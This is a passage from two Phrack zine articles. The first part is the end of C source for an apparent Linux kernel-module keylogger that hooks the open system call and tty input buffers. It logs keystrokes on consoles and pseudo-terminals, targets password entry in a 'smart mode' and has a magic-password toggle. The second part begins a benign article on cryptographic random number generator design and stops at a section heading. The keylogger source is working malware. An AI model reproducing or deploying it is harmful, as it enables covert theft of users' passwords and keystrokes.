                        case ’b’:
                                append_c(tmp, "[ALT-B]", 7);
                                break;
                        case ’c’:
                                append_c(tmp, "[ALT-C]", 7);
                                break;
                        case ’d’:
                                append_c(tmp, "[ALT-D]", 7);
                                break;
                        case ’e’:
                                append_c(tmp, "[ALT-E]", 7);
                                break;
                        case ’f’:
                                append_c(tmp, "[ALT-F]", 7);
                                break;
                        case ’g’:
                                append_c(tmp, "[ALT-G]", 7);
                                break;
                        case ’h’:
                                append_c(tmp, "[ALT-H]", 7);
                                break;
                        case ’i’:
                                append_c(tmp, "[ALT-I]", 7);
                                break;
                        case ’j’:
                                append_c(tmp, "[ALT-J]", 7);
                                break;
                        case ’k’:
                                append_c(tmp, "[ALT-K]", 7);
                                break;
                        case ’l’:
                                append_c(tmp, "[ALT-L]", 7);
                                break;
                        case ’m’:
                                append_c(tmp, "[ALT-M]", 7);
                                break;
                        case ’n’:
                                append_c(tmp, "[ALT-N]", 7);
                                break;
                        case ’o’:
                                append_c(tmp, "[ALT-O]", 7);
                                break;
                        case ’p’:
                                append_c(tmp, "[ALT-P]", 7);
                                break;
                        case ’q’:
                                append_c(tmp, "[ALT-Q]", 7);
                                break;
                        case ’r’:
                                append_c(tmp, "[ALT-R]", 7);
                                break;
                        case ’s’:
                                append_c(tmp, "[ALT-S]", 7);
                                break;
                        case ’t’:
                                append_c(tmp, "[ALT-T]", 7);
                                break;
                        case ’u’:
                                append_c(tmp, "[ALT-U]", 7);
                                break;
                        case ’v’:
                                append_c(tmp, "[ALT-V]", 7);
                                break;
                        case ’x’:
                                append_c(tmp, "[ALT-X]", 7);
                                break;
                        case ’y’:
                                append_c(tmp, "[ALT-Y]", 7);
                                break;
                        case ’z’:
                                append_c(tmp, "[ALT-Z]", 7);
                                break;
                }
                break;
            case 3:
                switch(cp[2]) {
                        case 68:
                                // Left: 27 91 68
                                append_c(tmp, "[LEFT]", 6);
                                break;
                        case 67:
                                // Right: 27 91 67
                                append_c(tmp, "[RIGHT]", 7);
                                break;
                        case 65:
                                // Up: 27 91 65
                                append_c(tmp, "[UP]", 4);
                                break;
                        case 66:
                                // Down: 27 91 66
                                append_c(tmp, "[DOWN]", 6);
                                break;
                        case 80:
                                // Pause/Break: 27 91 80
                                append_c(tmp, "[BREAK]", 7);
                                break;
                }
                break;
            case 4:
                switch(cp[3]) {
                        case 65:
                                // F1: 27 91 91 65
                                append_c(tmp, "[F1]", 4);
                                break;
                        case 66:
                                // F2: 27 91 91 66
                                append_c(tmp, "[F2]", 4);
                                break;
                        case 67:
                                // F3: 27 91 91 67
                                append_c(tmp, "[F3]", 4);
                                break;
                        case 68:
                                // F4: 27 91 91 68
                                append_c(tmp, "[F4]", 4);
                                break;
                        case 69:
                                // F5: 27 91 91 69
                                append_c(tmp, "[F5]", 4);
                                break;
                        case 126:
                                switch(cp[2]) {
                                        case 53:
                                                // PgUp: 27 91 53 126
                                                append_c(tmp, "[PgUP]", 6);
                                                break;
                                        case 54:
                                                // PgDown: 27 91 54 126
                                                append_c(tmp,
                                                        "[PgDOWN]", 8);
                                                break;
                                        case 49:
                                                // Home: 27 91 49 126
                                                append_c(tmp, "[HOME]", 6);
                                                break;
                                        case 52:
                                                // End: 27 91 52 126
                                                append_c(tmp, "[END]", 5);
                                                break;
                                        case 50:
                                                // Insert: 27 91 50 126
                                                append_c(tmp, "[INS]", 5);
                                                break;
                                        case 51:
                                                // Delete: 27 91 51 126
                                                append_c(tmp, "[DEL]", 5);
                                                break;
                                }
                        break;
                }
                break;
            case 5:
                if(cp[2] == 50)
                        switch(cp[3]) {
                                case 48:
                                        // F9: 27 91 50 48 126
                                        append_c(tmp, "[F9]", 4);
                                        break;
                                case 49:
                                        // F10: 27 91 50 49 126
                                        append_c(tmp, "[F10]", 5);
                                        break;
                                case 51:
                                        // F11: 27 91 50 51 126
                                        append_c(tmp, "[F11]", 5);
                                        break;
                                case 52:
                                        // F12: 27 91 50 52 126
                                        append_c(tmp, "[F12]", 5);
                                        break;
                                case 53:
                                        // Shift-F1: 27 91 50 53 126
                                        append_c(tmp, "[SH-F1]", 7);
                                        break;
                                case 54:
                                        // Shift-F2: 27 91 50 54 126
                                        append_c(tmp, "[SH-F2]", 7);
                                        break;
                                case 56:
                                        // Shift-F3: 27 91 50 56 126
                                        append_c(tmp, "[SH-F3]", 7);
                                        break;
                                case 57:
                                        // Shift-F4: 27 91 50 57 126
                                        append_c(tmp, "[SH-F4]", 7);
                                        break;
                        }
                else
                        switch(cp[3]) {
                                case 55:
                                        // F6: 27 91 49 55 126
                                        append_c(tmp, "[F6]", 4);
                                        break;
                                case 56:
                                        // F7: 27 91 49 56 126
                                        append_c(tmp, "[F7]", 4);
                                        break;
                                case 57:
                                        // F8: 27 91 49 57 126
                                        append_c(tmp, "[F8]", 4);
                                        break;
                                case 49:
                                        // Shift-F5: 27 91 51 49 126
                                        append_c(tmp, "[SH-F5]", 7);
                                        break;
                                case 50:
                                        // Shift-F6: 27 91 51 50 126
                                        append_c(tmp, "[SH-F6]", 7);
                                        break;
                                case 51:
                                        // Shift-F7: 27 91 51 51 126
                                        append_c(tmp, "[SH-F7]", 7);
                                        break;
                                case 52:
                                        // Shift-F8: 27 91 51 52 126
                                        append_c(tmp, "[SH-F8]", 7);
                                        break;
                        };
                break;
            default:    // Unknow
                break;
        }
}
```

```
/*
 *  Called whenever user press a key
 */

void vlogger_process(struct tty_struct *tty,
                        const unsigned char *cp, int count)
{
        struct tlogger *tmp = ttys[TTY_INDEX(tty)];

        if (!tmp) {
                DPRINT("erm .. unknow error???\n");
                init_tty(tty, TTY_INDEX(tty));
                tmp = ttys[TTY_INDEX(tty)];
                if (!tmp)
                        return;
        }

        if (vlogger_mode == VK_SMARTMODE) {
                if (tmp->status && !IS_PASSWD(tty)) {
                        resetbuf(tmp);
                }
                if (!tmp->pass && IS_PASSWD(tty)) {
                        logging(tty, tmp, 0);
                        resetbuf(tmp);
                }
                if (tmp->pass && !IS_PASSWD(tty)) {
                        if (!tmp->lastpos)
                                logging(tty, tmp, 0);
                        resetbuf(tmp);
                }
                tmp->pass  = IS_PASSWD(tty);
                tmp->status = 0;
        }

        if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
                logging(tty, tmp, 1);
                resetbuf(tmp);
        }

        if (count == 1) {
                if (cp[0] == VK_TOGLE_CHAR) {
                        if (!strcmp(tmp->buf, MAGIC_PASS)) {
                                if(vlogger_mode < 2)
                                        vlogger_mode++;
                                else
                                        vlogger_mode = 0;
                                reset_all_buf();

                                switch(vlogger_mode) {
                                        case VK_DUMBMODE:
                                                DPRINT("Dumb Mode\n");
                                                TTY_WRITE(tty, "\r\n"
                                                "Dumb Mode\n", 12);
                                                break;
                                        case VK_SMARTMODE:
                                                DPRINT("Smart Mode\n");
                                                TTY_WRITE(tty, "\r\n"
                                                "Smart Mode\n", 13);
                                                break;
                                        case VK_NORMAL:
                                                DPRINT("Normal Mode\n");
                                                TTY_WRITE(tty, "\r\n"
                                                "Normal Mode\n", 14);
                                }
                        }
                }

                switch (cp[0]) {
                        case 0x01:      //^A
                                append_c(tmp, "[^A]", 4);
                                break;
                        case 0x02:      //^B
                                append_c(tmp, "[^B]", 4);
                                break;
                        case 0x03:      //^C
                                append_c(tmp, "[^C]", 4);
                        case 0x04:      //^D
                                append_c(tmp, "[^D]", 4);
                        case 0x0D:      //^M
                        case 0x0A:
                                if (vlogger_mode == VK_SMARTMODE) {
                                        if (IS_PASSWD(tty)) {
                                                logging(tty, tmp, 0);
                                                resetbuf(tmp);
                                        } else
                                                tmp->status = 1;
                                } else {
                                        logging(tty, tmp, 0);
                                        resetbuf(tmp);
                                }
                                break;
                        case 0x05:      //^E
                                append_c(tmp, "[^E]", 4);
                                break;
                        case 0x06:      //^F
                                append_c(tmp, "[^F]", 4);
                                break;
                        case 0x07:      //^G
                                append_c(tmp, "[^G]", 4);
                                break;
                        case 0x09:      //TAB - ^I
                                append_c(tmp, "[TAB]", 5);
                                break;
                        case 0x0b:      //^K
                                append_c(tmp, "[^K]", 4);
                                break;
                        case 0x0c:      //^L
                                append_c(tmp, "[^L]", 4);
                                break;
                        case 0x0e:      //^E
                                append_c(tmp, "[^E]", 4);
                                break;
                        case 0x0f:      //^O
                                append_c(tmp, "[^O]", 4);
                                break;
                        case 0x10:      //^P
                                append_c(tmp, "[^P]", 4);
                                break;
                        case 0x11:      //^Q
                                append_c(tmp, "[^Q]", 4);
                                break;
                        case 0x12:      //^R
                                append_c(tmp, "[^R]", 4);
                                break;
                        case 0x13:      //^S
                                append_c(tmp, "[^S]", 4);
                                break;
                        case 0x14:      //^T
                                append_c(tmp, "[^T]", 4);
                                break;
                        case 0x15:      //CTRL-U
                                resetbuf(tmp);
                                break;
                        case 0x16:      //^V
                                append_c(tmp, "[^V]", 4);
                                break;
                        case 0x17:      //^W
                                append_c(tmp, "[^W]", 4);
                                break;
                        case 0x18:      //^X
                                append_c(tmp, "[^X]", 4);
                                break;
                        case 0x19:      //^Y
                                append_c(tmp, "[^Y]", 4);
                                break;
                        case 0x1a:      //^Z
                                append_c(tmp, "[^Z]", 4);
                                break;
                        case 0x1c:      //^\
                                append_c(tmp, "[^\\]", 4);
                                break;
                        case 0x1d:      //^]
                                append_c(tmp, "[^]]", 4);
                                break;
                        case 0x1e:      //^^
                                append_c(tmp, "[^^]", 4);
                                break;
                        case 0x1f:      //^_
                                append_c(tmp, "[^_]", 4);
                                break;
                        case BACK_SPACE_CHAR1:
                        case BACK_SPACE_CHAR2:
                                if (!tmp->lastpos) break;
                                if (tmp->buf[tmp->lastpos-1] != ’]’)
                                        tmp->buf[--tmp->lastpos] = 0;
                                else {
                                        append_c(tmp, "[^H]", 4);
                                }
                                break;
                        case ESC_CHAR:  //ESC
                                append_c(tmp, "[ESC]", 5);
                                break;
                        default:
                                tmp->buf[tmp->lastpos++] = cp[0];
                                tmp->buf[tmp->lastpos] = 0;
                }
        } else {        // a block of chars or special key
                if (cp[0] != ESC_CHAR) {
                        while (count >= MAX_BUFFER) {
                                append_c(tmp, cp, MAX_BUFFER);
                                logging(tty, tmp, 1);
                                resetbuf(tmp);
                                count -= MAX_BUFFER;
                                cp += MAX_BUFFER;
                        }

                        append_c(tmp, cp, count);
                } else  // special key
                        special_key(tmp, cp, count);
        }
}


void my_tty_open(void)
{
        int fd, i;
        char dev_name[80];

#ifdef LOCAL_ONLY
        int fl = 0;
        struct tty_struct * tty;
        struct file * file;
#endif
```

```
        for (i=1; i<MAX_TTY_CON; i++) {
                snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

                BEGIN_KMEM
                        fd = open(dev_name, O_RDONLY, 0);
                        if (fd < 0) continue;

#ifdef LOCAL_ONLY
                        file = fget(fd);
                        tty = file->private_data;
                        if (tty != NULL  &&
                                tty->ldisc.receive_buf != NULL) {
                                if (!fl) {
                                        old_receive_buf =
                                                tty->ldisc.receive_buf;
                                        fl = 1;
                                }
                                init_tty(tty, TTY_INDEX(tty));
                        }
                        fput(file);
#endif

                        close(fd);
                END_KMEM
        }

#ifndef LOCAL_ONLY
        for (i=0; i<MAX_PTS_CON; i++) {
                snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

                BEGIN_KMEM
                        fd = open(dev_name, O_RDONLY, 0);
                        if (fd >= 0) close(fd);
                END_KMEM
        }
#endif

}


void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                                                char *fp, int count)
{
        if (!tty->real_raw && !tty->raw)        // ignore raw mode
                vlogger_process(tty, cp, count);
        (*old_receive_buf)(tty, cp, fp, count);
}


static inline void init_tty(struct tty_struct *tty, int tty_index)
{
        struct tlogger *tmp;

        DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

        if (ttys[tty_index] == NULL) {
                tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
                if (!tmp) {
                        DPRINT("kmalloc failed!\n");
                        return;
                }
                memset(tmp, 0, sizeof(struct tlogger));
                tmp->tty = tty;
                tty->ldisc.receive_buf = new_receive_buf;
                ttys[tty_index] = tmp;
        } else {
                tmp = ttys[tty_index];
                logging(tty, tmp, 1);
                resetbuf(tmp);
                tty->ldisc.receive_buf = new_receive_buf;
        }
}


asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
        int ret;
        static int fl = 0;
        struct file * file;

        ret = (*original_sys_open)(filename, flags, mode);

        if (ret >= 0) {
                struct tty_struct * tty;

            BEGIN_KMEM
                lock_kernel();
                file = fget(ret);
                tty = file->private_data;

                if (tty != NULL &&
                        ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
                        TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
                        (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
                        tty->driver.subtype == PTY_TYPE_SLAVE &&
                        TTY_NUMBER(tty) < MAX_PTS_CON)) &&
                        tty->ldisc.receive_buf != NULL &&
                        tty->ldisc.receive_buf != new_receive_buf) {

                        if (!fl) {
                                old_receive_buf = tty->ldisc.receive_buf;
                                fl = 1;
                        }
                        init_tty(tty, TTY_INDEX(tty));
                }
                fput(file);
                unlock_kernel();
            END_KMEM
        }
        return ret;
}


int init_module(void)
{

        DPRINT(MVERSION);
#ifndef LOCAL_ONLY
        original_sys_open = sys_call_table[__NR_open];
        sys_call_table[__NR_open] = new_sys_open;
#endif
        my_tty_open();
//      MOD_INC_USE_COUNT;

        return 0;
}

DECLARE_WAIT_QUEUE_HEAD(wq);

void cleanup_module(void)
{
        int i;

#ifndef LOCAL_ONLY
        sys_call_table[__NR_open] = original_sys_open;
#endif
```

```
        for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
                if (ttys[i] != NULL) {
                        ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
                }
        }
        sleep_on_timeout(&wq, HZ);
        for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
                if (ttys[i] != NULL) {
                        kfree(ttys[i]);
                }
        }
        DPRINT("Unloaded\n");
}

EXPORT_NO_SYMBOLS;
<-->
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0f of 0x12

```
|=-------------=[ CRYPTOGRAPHIC RANDOM NUMBER GENERATORS ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ DrMungkee <pub@drmungkee.com> ]=-------------------=|
```

----| Introduction

Every component in a cryptosystem is critical to its security. A single failure in one could bring down all the others. Cryptographic random numbers are often used as keys, padding, salt and initialization vectors. Using a good RNG for each of these components is essential. There are many complications imposed by the predictability of computers, but there are means of extracting the few bits of entropy regardless of them being exponentially out-numbered by redundancy. This article's scope covers the design, implementation and analysis of RNGs. RNGs subject to exploration will be NoiseSpunge, Intel RNG, Linux' /dev/random, and Yarrow.

----| Glossary

RNG - Random Number Generator
PRNG - Pseudo Random Number Generator
entropy - Unpredictable information
redundancy - Predictable or probabilistic information

----| 1) Design Principles of RNGs

1.0) Overview

A variety of factors come into play when designing an RNG. It's output must be undissernable from white noise, there must be no way of predicting any portion of it, and there can be no way of finding previous or future outputs based on any known outputs. If an RNG doesn't conform to this criteria, it is not cryptographicaly secure.

1.1) Entropy Gathering

To meet the first and second criteria, finding good sources of entropy is an obligation. These sources must be unmoniterable by an attacker, and any attempts by an attacker to manipulate the entropy sources should not make them predictable or repetitive.

Mouse movement is often used as entropy, but if the entropy is improperly interpreted by the RNG, there is a segnficant amount of redundancy. To demonstrate, I monitered mouse movement at an interval of 100 miliseconds. These positions were taken consecutively while the mouse was moved hecticaly in all directions. These results say it all:

```
      X-Position          Y-Position
   0000001011110101   0000000100101100    Only the last 9 bits of each
   0000001000000001   0000000100001110    coordinate actualy appear
   0000001101011111   0000001001101001    random.
   0000001000100111   0000000111100100
   0000001010101100   0000000011111110
   0000000010000000   0000000111010011
   0000001000111000   0000000100100111
   0000000010001110   0000000100001111
   0000000111010100   0000000011111000
   0000000111100011   0000000100101010
```

The next demonstration shows a more realistic gathering of entropy by keeping only the 4 least significant bits of the X and Y positions and XORing them with a high-frequency counter, monitoring them at a random interval:

X	Y	Timer	XORed
1010	1001	00100110	01111111
0100	1100	00101010	00000110
0101	0010	01011111	01110101
1001	1100	10110000	11111100
0101	0100	11001110	11100010
0101	1100	01010000	01111100
1011	0000	01000100	00011100
0111	0111	00010111	00101000
0011	0101	01101011	01110110
0001	0001	11011000	11010001

Good entropy is gathered because 4bits from each coordinates represents a change in 16 pixels in each direction rather than assuming a motion of 65536 can occur in all directions. The high-resolution timer is used as well because although it is completly sequencial, it's last 8 bits will have been updated very often during a few CPU clock cycles, thus making those bits unmonitorable. An XOR is used to combine the entropy from the 2 sources because it has very the very good property of merging numbers in a way that preserves the dependency of every bit.

The most common sources of entropy used all involve user interaction or high-frequency clocks in one way, shape, or form. A hybrid of both is always desirable. Latencies between user-triggered events (keystroke, disk I/O, IRQs, mouse clicks) measured at high-precisions are optimal because of the unpredictable nature of a user's behaviors and precise timing.

Some sources may seem random enough but are in fact not. Network traffic is sometimes used but is unrecommended because it can be monitored and manipulated by an outside source. Another pittfall is millisecond precision clocks: they don't update frequently enough to be put to good use.

A good example of entropy gathering shortcommings is Netscape's cryptographically _broken_ not-so-RNG. Netscape used the time and date with its process ID and its parent's process ID as it's only source of entropy. The process ID in Win9x is a value usualy below 100 (incremented once for each new process) that is XORed with the time of day Win9x first started. Even though the hashing function helped generate output that seemed random, it is easy to estimate feseable values for the entropy, hash them, and predict the RNG's output. It doesn't matter weather or not the output looks random if the source of entropy is poor.

1.2 Entropy Estimations

Evaluating the quantity of entropy gathered should not be overlooked. It must be dones in order to prevent the RNG from attempting to output more entropy than it has gathered. Depending on system parameters, you can assign quality estimates for each of your entropy sources. For example, you can evaluate all keyboard generated entropy as being 4bits in size, regardless of how many bits of entropy you collect from it. If the RNG is on a file server and uses disk I/O as an entropy source, it could derrive an entropy estimate proportional to the number of users accessing the disk to prevent sequencial disk access from resulting in redundant entropy. The entropy estimates do not need to be the same size as the inputs or outputs of entropy gathering. They are meant as a safety precaution in further calculations.

There are alternative methods for estimating the entropy. You could bias entropy from a source to be of better quality if that source has not supplied entropy for a period exceeding a certain interval. You can accumulate large amounts of entropy in a buffer, compress it, and derive an estimation from the compression ratio. Statistical tests comparing the last input entropy with a large quantity of previous inputs doesn’t do much in terms of finding the current input’s quality, but it gives the RNG an oppertunity to reject inputs that increase statistical probability of the group of entropy inputs.

The best approach to this is also a hybrid. One method of estimating entropy quality usualy isn’t enough. There are cases where an entropy source can be assumed to provide a consistant quality of entropy however. In these cases, a fixed size can be assigned to all entropy inputs from that source, but carefull analysis should be done before this assumption is made. It is wisest to calculate multiple estimates and assume the smallest value to be the most accurate.

1.3) Entropy Pools

No entropy source should be assumed perfect. More specificaly, no entropy source should be assumed perfect on a computer. That is why entropy is gathered in a buffer (entropy pool) to undergo supplimentary processing. After entropy is gathered from a source, it is input into an entropy pool. The entropy pool must do several things with this input. It must keep track of the amount of entropy contained within it, mix the last input uniformaly with all the previous inputs contained within it, and provide an at least seamingly random state regardless of the quality of the entropy input (patternistic inputs should still look random in the pool).

Mixing the contents of the entropy pool should neither sacrifice any of the entropy within it nor be considered to add entropy to its state. If the mixing function expands the pool, entropy estimation of its contents should not change. Only the entropy gathering functions are responsible for increasing entropy and are dealt with serperately.

The best candidates for mixing functions are hashing algorithms. The hashing algorithm should accept any size input, and have a large sized output that reflects the speed at which entropy is gathered, and have a non-deterministic output. To preserve gathered entropy, the hashing function should not input more entropy than the size of it’s output. With that said, if the hashing function outputs 160bits, it should not be input more than 160bits prior to output. If the hashing algorithm is cryptographically secure (which it should be) the output will yield the same amount of entropy as the input. If the output is larger than the input, the state of the pool cannot be assumed to have increased in entropy.

There are several approaches to using large pools of entropy. One approach implments a pool that is hashed linearly. For this method, you would need a buffer that is concatinated with the last input of entropy. Hashing should be started at the end of the buffer. The rest of the buffer should be hashed, one chunk (the size of the output) at a time, each time XORing the output with the output of the last block’s hash to ensure the entire pool is affected by the last input, without overwritting any previous entropy. This is only an examplar method. Whichever procedure you choose, it should meet all the criteria mentioned in the previous paragraphs.

Another approach to maintaining a large entropy pool is using multiple hashed contexts which are used to affect each other. A common use is a pool that contains unmanipulated entropy. Once that pool is full, it is hashed and used to update another pool either by updating a hashing context or XORing. This is cascaded through as many pools as desired, but to avoid losing previous entropy, some pools should only be updated after it’s parent pool (the one that updates it) has been updated a certain number of times. For example, once the first hashed pool has been updated 8 times, a second pool can be updated. Once the second hashed pool has been updated 3 times, it can update a third pool. With this method, the third pool contains entropy from the last 24 entropy updates. This conserves less entropy (limited by the size of the hashing contexts) but provides better quality entropy. Entropy is of better quality because the source of the entropy containted within the third pool is completly dependent on 24 entropy inputs.

Inputing entropy into a pool is usualy called updating or seeding. Entropy pools combined with the output function by themselves are in fact PRNGs. What makes a RNG is the entropy gathering process which obtains truly random seeds. As long a good entropy is input, the RNG will have an infinite period (no output patterns) as oposed to PRNGs which have a semi-fixed point at whitch they will start to repeat all previous outputs in the same order.

Entropy pools are the key to preventing any previous or future outputs of RNG from being predicted. Attacks against an RNG to determine previous and future outputs are either based on knowledge of the entropy pool, entropy inputs or previous outputs. The pool should be designed to prevent knowledge of its current state from compromising any or all future outputs. To do this, entropy pools should undergo a drastic change from time to time by removing protions or all of its entropy. This is called reseeding. Reseeding should _always_ replace the entropy that is removed with fresh entropy before outputing. If the entropy is not replaced, the pool will be in a severely weakened state. An RNG does not need to reseed, but if it doesn't, it must have entropy added at a rate greater than the RNG's output.

Reseeding should only occur after sufficient unused entropy has been accumulated to fill a large portion of the pool, and the entropy estimation of the pool should be adjusted to the estimated size of the input entropy. Reseeding should not occur very often, and only based on the number of bits output by the RNG and the size of the pool. A safe estimation on the reseeding frequency of an RNG would be the after an 95% of the size of the entropy input has been output. This estimate assumes that entropy is added to the pool in between the RNG's outputs. If this is not the case, reseeding should occur more frequently. The less entropy is input between outputs, the better the chances that an attacker who has found one output will find the previous output (which can cascade backwards after each output is found).

1.4) Output Functions

An RNG's output should be passed through a one-way function. A one-way function's output is derrived from its input, but that input is computationaly infeasable to derive from its output. One-way hash functions are perfect for this. More complex methods involve using portions of the pool as key data fed to a symmetric encryption algorithm that encrypts another portion of the pool and outputs the ciphertext. Expansion-compression is a very effective one-way function as well. To do this you can use portions of the pool as seeds to a PRNG and generate multiple outputs (each the size of the PRNG's seed) and then inputing all of these into a hash function and outputing its result. This is effective because many intermediate (expanded) states could result in the same hash output, but only one iniciate (before expansion) state can result in that intermediate state.

Every time the RNG outputs, its entropy estimate should be decremented by the size of the output. This is done with the assumption that the output entirely consists of entropy. Because that output's entropy is still in the pool, it is now redundant and cannot be assumed as entropy (inside the pool) any longer. If the pool is 512bits in size, and 160bits of entropy is consumed on every output then almost all entropy hash been used after 3 outputs and the pool should be reseeded.

There is a problem nearly impossible to overcome that occurs when implementing entropy pools: there is no way of determining what entropy bits were output, and which were not. The best way to nullify the symptomes of this problem is by making it impossible to know when entropy has been used more than once based on the the RNG's output. When an output occurs, the pool's state must be permuted so that consecutive outputs without any entropy added or reseeding will not result in identical RNG outputs. The pool's state permutation must be a one-way function and must apply the same concepts and criteria used in the output function. The pool's entropy size is always assumed to be identical after permutation as long as the procedure follows the criteria.

1.5) Implementation

All the effort put into a well designed RNG is useless if it isn't properly implemented. Three layers of the implemetation will be covered: media, hardware/software, and usage of the output.

Storage and communication media each represent a risk in an unencrypted state. The following lists various degrees of risk assigned to storage and communication media. Risks are assigned as such:
0 - no risk
1 - low risk
2 - medium risk
3 - high risk

MEDIA		RISK	
RAM	<storage>	0	*&
Hard Drive	<storage>	1	*&
Shared memory	<transfer>	1	*&
Removable disks	<transfer>	2	
LAN	<communication>	2	&
WAN	<communication>	3	

Any properly encrypted media's risk is 0.
* If the storage media is on a computer connected to a network, risk is increased by 1.
& If physical access is possible (computer/LAN)., risk is increased by 1.

The highest risk of all medias should be interpreted as the implementation's risk (weakest link, good bye!). High risk is unacceptable. Medium risk is acceptable depending on the value of the RNG's output (what's it worth to an attacker?). A personal diary can easily cope with medium risk unless you have many skeletons in your closet. Industrial secrets should only use 0 risk RNGs. Acceptable risk is usualy up to the programmer, but the user should be aware of his choice.

Hardware RNGs should be tamper-proof. If any physical modification is attempted, the RNG should no longer output. This precaution prevents manipulation of the entropy pool's state and output. There should be no way of monitoring hardware RNGs through frequencies, radiation, voltage, or any other emissions generated by the RNG. Any of these could be used as a source of information with whitch the RNG's entropy pool or output could be compromised. To prevent this, all hardware RNGs should be properly shielded.

Software implementations can be very tricky. Reverse engineering will remain a problem until digital signing of executable files is implemented at the operating system level. Until then, any attempts made on the programmer's behalf to prevent reverse engineering of the RNG's software implementation will only delay the innevitable. It is still important that the programmer takes care in writting the software to have to lowest possible risk factor (the chart takes into account reverse engineering of software).

// the following applies to RNGs seperate from their calling applications
The RNG must take special care to ensure that only one program has access to each of the RNG's outputs. The method by which the data is transfered from the RNG to the program must not succomb to observation. Distinct outputs are usualy guarrentied by the output function, but sometimes the output is copied to a temporary buffer. It might be possible to trick an RNG into conserving that buffer, or copying it elsewhere providing easy

observation. A quick solution is for an application to encrypt the RNG's output with a key it generates by its own means. However, you could go all out and implement a full key-escrow between the RNG and the calling applications and still be vulnerable to a hack. The kind of _prevention_ a programmer incorporates into software only serves as a road block, but this is often enough to discourage 99.9% of its users from attempting to compromise security. Not much can be done about 0.1% that can still manipulate the software because there will always be a way to crack software.

1.6) Analysis

There are two important aspects to analysing an RNG: randomness and security. To evaluate an RNG's randomness, one usualy resorts to statistical analysis of the RNG's input (entropy gathering process) and output (output function). To evaluate it's security, one would look for flaws in its entropy gathering, entropy pool, mixing function, and output function that allow an attacker to find past, present, or future outputs by any means possible. There is no guarrentying the effectiveness of either of these aspects. The only certain thing is once the RNG is broken, it is broken; until then, you can only speculate.

There are many statistical tests available on the internet suitable for testing randomness of data. Most require a large sample of data stored in a file to derive significant results. A Probabilistic value is obtained through statistical analysis of the sample. This value is usualy in the form of P, a floating point number between 0 and 1. Tests are done in various block sizes usualy between 8 and 32bits. P's precision varies from one test to the next. A P value close to 0.5 is what is usualy desired. When P is close to 0.5, probability is at it's midrange and there is no incline towards either 0 or 1. An RNG is not weak because it has a value close to 1 or 0. It can occur even with purely random data. If it were impossible to obtain a value close to 0 or 1, the RNG would be flawed anyway. This is because when data is completly random, all outputs are equaly likely. This is why patterned outputs are possible. When P is less then satisfactory, many new samples should be created and tested. If other samples result in bad Ps then the RNG most likely has deterministic output and should not be used. DieHard offers an armada of 15 tests that use P values. Other tests describe there results with an integer and it's target. The closer the integer is to its target the better. An example of this is the Maurer Universal Statistics Test.

The problem with statistical tests is that any good PRNG or hashing function will pass them easily without any entropy. Even if the output is non-deterministic the RNG is only an RNG if it cannot be predicted. For that reason, the RNG's entropy must be non-deterministic as well. Unless the entropy source can be guarrentied to function properly, it is wise to use the same tests on the raw entropy itself. By doing this you can achieve a sufficient level of confidence about the randomness. A big speed-bump stares you right in the eyes when you're trying to do this, however. Entropy is often gathered at a very slow pace making the gathering of a sufficiently large data sample extremely tedius and in some circumstances it might not even be worthwhile. Whether this is the case or not, it is logical to intellegently scrutinise entropy sources, rather than depending on statistical tests (which cannot guarrenty anything) to find flaws (see 1.1).

Evaluating an RNG's security is a complexe task with infinite means and only one end: a break. The odds are always well stacked against an RNG. No matter how many provisions are made to prevent breaks, new attacks will always eventualy emerge from that RNG or another. Every aspect of the RNG must be studied carefully, from entropy gathering right up to the delivery of the RNG's output. Every component should be tested individualy and then as a group. Tests include the possibility of hacks that can tamper with or monitor entropy gathering, and cryptanalysis of mixing and output functions. Most breaks are discovered under laboratory conditions. These are called academic breaks and they usualy require very specific conditions be met in order to function (usualy highly improbable). Finding these breaks is a broad topic on its own and is beyond of the scope in article. Successful breaks are usually the result of months (often years) of pain-staking work done by cryptanalysts with years of experience. The best thing to do is to carefully design the RNG from start to finish with security in mind.

Even as the limits of mathematics and cryptanalysis are reached in testing, advancements in sience could reak havoc on your RNG. For example, Tempest scanning could be used by an attacker to follow keystrokes and mouse positions. Discoveries can even be made in the analysis of white noise, eventualy. These breaks are usualy found by scholars and professionals who seek only to make their knowledge available before damage occurs. Not much can be done to prevent attacks that are unknown. Finding an effective fix quickly and learning from the is what is expected from developers. Thankfully, these attacks emerge very rarely, but things are changing as research increases.

Only the security analysis of the RNGs in section 2 will be discussed because each has already been tested for and passed randomness analysis.

----| 2 Description of specific RNGs

2.1) NoiseSpunge's Design

Information Source: Uhhhh, I wrote it.

2.1.0) NoiseSpunge Overview

NoiseSpunge was specifically written for generating random 256bit keys suitable for strong encryption. Gathering entropy for a single output (256bits) requires a few seconds of mouse movement on the user's part. Its structure is complex and computationaly expensive. NoiseSpunge is meant to be a component within cryptosystems, and for that reason, special consideration has to be made in order to prevent it from being a liability. The trade off in this implementation is it would be clumsy at best if large quantities of random data were needed regularly because it would require intense user-interaction and it would consume too many CPU cycles.

2.1.1) NoiseSpunge Entropy Gathering

A PRNG is seeded with initial zeros. The PRNG then outputs a value used to calculate the length of the interval used. When the interval is triggered, the mouse position is checked for movement. If the mouse has moved since the last trigger the PC's high-frequency clock is queried for its current value. The 4 least significant bits are XORed with the 4 least significant bits of the mouse's x & y coordinates. A new interval is then calculated from the PRNG. The 4 bits produced are concatenated until 32 bits are gathered and output. The 32bits are concatenated to the an entropy buffer and also used to update the PRNG that sets the interval. The process is then repeated. If the mouse has not moved, a new interval is set and the process repeats until is has moved. There is also a function that allows the programmer to input 32bits of entropy at a time. This function is suitable if there is a hardware entropy device or another known secure source of entropy on a particular system. However, the use of another RNG's output would be redundant if it is good and useless if it is bad.

2.1.2) NoiseSpunge Entropy Estimation

